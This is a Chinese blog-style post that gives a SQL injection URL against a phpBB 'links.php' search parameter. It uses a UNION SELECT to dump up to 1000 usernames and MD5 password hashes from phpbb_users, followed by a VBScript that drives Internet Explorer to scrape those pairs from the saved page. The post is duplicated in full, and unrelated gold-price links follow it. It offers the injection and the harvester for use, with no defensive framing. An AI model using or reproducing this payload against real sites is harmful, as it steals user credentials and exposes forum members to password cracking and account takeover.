一段提取用户名和md5的vbs代码
2017年03月08日
注入代码如下:
links.php?t=search&search_keywords=asd&start=1,1 union SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/*
这样就提取了1000个用户名和md5,将上边的保存成htm,要挨个提取出md5和用户名很麻烦,写了段代码。这段代码我很满意,估计是最简单的提取方法了,呵呵。
代码如下:
'用法示例:cscript //Nologo this.vbs c:\11000.htm >c:\1.txt
复制代码 代码如下:
on error resume Next
Set ie=WScript.CreateObject("InternetExplorer.Application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
For i=12 To ie.Document.links.length-2
data=ie.Document.links(i).innerText
If data <>13 Then
wscript.echo data
wscript.echo ie.Document.links(i).alt
End if
next
msgbox "转换完毕"
links.php?t=search&search_keywords=asd&start=1,1 union SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/*
这样就提取了1000个用户名和md5,将上边的保存成htm,要挨个提取出md5和用户名很麻烦,写了段代码。这段代码我很满意,估计是最简单的提取方法了,呵呵。
代码如下:
'用法示例:cscript //Nologo this.vbs c:\11000.htm >c:\1.txt
复制代码 代码如下:
on error resume Next
Set ie=WScript.CreateObject("InternetExplorer.Application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
For i=12 To ie.Document.links.length-2
data=ie.Document.links(i).innerText
If data <>13 Then
wscript.echo data
wscript.echo ie.Document.links(i).alt
End if
next
msgbox "转换完毕"
相关阅读
-
熊猫发行30周年1盎司币价格今天多少一克(2024年05月17日)
-
9999千足金今日价格表(2024年5月17日)
-
第19届杭州亚运会纪念币金银套多少钱(2024年5月17日)
-
工商银行筑梦中华金条100克价格今天多少一克(2024年05月17日)
-
金至尊铂金多少钱一克(2024年05月17日)参考价格
-
2024版熊猫纪念币100克精制金币现在市场价是多少(2024年05月17日)
-
香港六福铂金多少钱一克(2024年05月17日)
-
周六福黄金价格今天多少一克(2024年05月17日)参考价格
-
六福珠宝黄金价格今天多少一克(2024年05月17日)
-
上海老庙黄金价格今天多少一克(2024年05月17日)